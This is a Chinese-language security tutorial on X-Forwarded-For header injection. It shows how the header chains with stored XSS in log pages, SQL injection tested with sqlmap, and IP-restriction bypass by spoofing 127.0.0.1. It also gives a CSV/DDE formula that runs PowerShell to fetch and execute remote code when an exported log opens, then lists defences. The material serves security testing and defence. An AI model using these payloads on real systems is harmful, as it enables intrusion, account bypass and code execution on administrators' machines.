XFF注入漏洞的进阶利用

前言

本篇文章从 X-Forwarded-For 注入漏洞出发,结合XSS、Sqli、CSV注入等漏洞,挖掘其可能存在安全隐患的场景,从而更好的进行防御。

原理

服务端获取客户端请求IP地址,常见的包括:x-forwarded-for、client-ip等请求头,以及remote_addr参数。

remote_addr:指的是当前直接请求的客户端IP地址,无法伪造。

x-forwarded-for,即XFF,是很多代理服务器在请求转发时添加上去的,可以伪造。

client-ip同XFF,也是代理服务器添加的用于转发客户端请求的真实IP地址,同样保存与请求头中。

大多数Web网站想要获取的是用户的IP,而不是用户使用代理后的IP,所以一般都会使用x-forwarded-for来获取ip。

这也是X-Forwarded-For注入存在的前提。

XSS

X-Forwarded-For 存在 XSS 的场景一般是在后台日志记录处,因为大部分后台的日志管理处都会记录用户执行操作对应的IP,然后回显到界面中。

image-20221010105609430

随意访问一个功能点,使用burpsuite抓包,构造X-Forwarded-For头:

image-20221010111359256

1
X-Forwarded-For: <script>console.log('xss')</script>

为了避免不必要的麻烦,尽量不要使用弹窗 payload。

回到查看系统日志处,打开F12,查看控制台是否输出 ‘xss’ 字符。

image-20221010111845036

Sqli

X-Forwarded-For 头存在sql注入的场景一般是网站将请求的 X-Forwarded-For 头的值保存到数据库中。

image-20221010112417313

1、输入登录用户名和密码Burp抓包并在数据包的请求头中添加

1
X-Forwarded-For: *

这里的*会让sqlmap重点扫描
2、将包内容复制到记事本命名为test.txt,使用sqlmap直接扫。

1
python sqlmap.py -r 1.txt --batch         

如果存在sql注入的话,会直接扫出来。

CSV注入

这种场景比较少见,需要满足如下条件:

1.后台日志记录的ip从X-Forwarded-For处获取,且没有进行过滤;

2.日志不经过过滤可以导出成csv表格。

这时候就可以 X-Forwarded-For 注入 + csv注入漏洞就有可能造成较大危害了,虽然现在注入命令执行时软件会有提示是否信任,但是企业员工是通过后台导出的表格,所以大概率会相信这个文件是安全的。

CSV注入原理

我们知道在 Excel 中是可以运行计算公式的: =1+5 ,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。

image-20210710210755769

虽然单元格的内容在引号内,但由于第一个字符是**=**,它以一个表达式的形式被处理,实际上包括 **= - + @**这样的符号都会触发这种行为,正常来说,如果数据量比较大的情况下,管理员一般不会花那么多时间去一个个检查输入内容是否正常。

检测方式和 XSS 的检测方式相同,只不过需要把payload换成

1
X-Forwarded-For: =1+1

导出csv文件后,如果该列变成2,说明我们可以注入恶意代码。

例如注入powershell上线payload

1
=cmd|'/C powershell IEX(wget url)'!A0

伪造登录IP绕过登录

存在的场景一般是,登录后台的时候,服务器对登录IP进行了限制,例如 IP禁止访问等,403禁止访问等,只允许特定的IP访问。

image-20221010120226241

尝试把 X-Forwarded-For 指定为 127.0.0.1,也许可以绕过。

1
X-Forwarded-For : 127.0.0.1

防御措施

1.对于直接使用的 Web 应用,必须使用从TCP连接中得到的 remote_addr,才是用户真实的IP;

2.服务端对 X-Forwarded-For 的值进行检测和过滤,丢弃不符规范的请求。

3.使用waf对网站进行防护,可以有效过滤恶意payload。

总结

以上就是 X-Forwarded-For 注入适用的场景、攻击和防护手段。

X-Forwarded-For 注入虽然只是鸡肋漏洞,但是发散思维,结合各种其他漏洞,就可能收获意想不到的效果。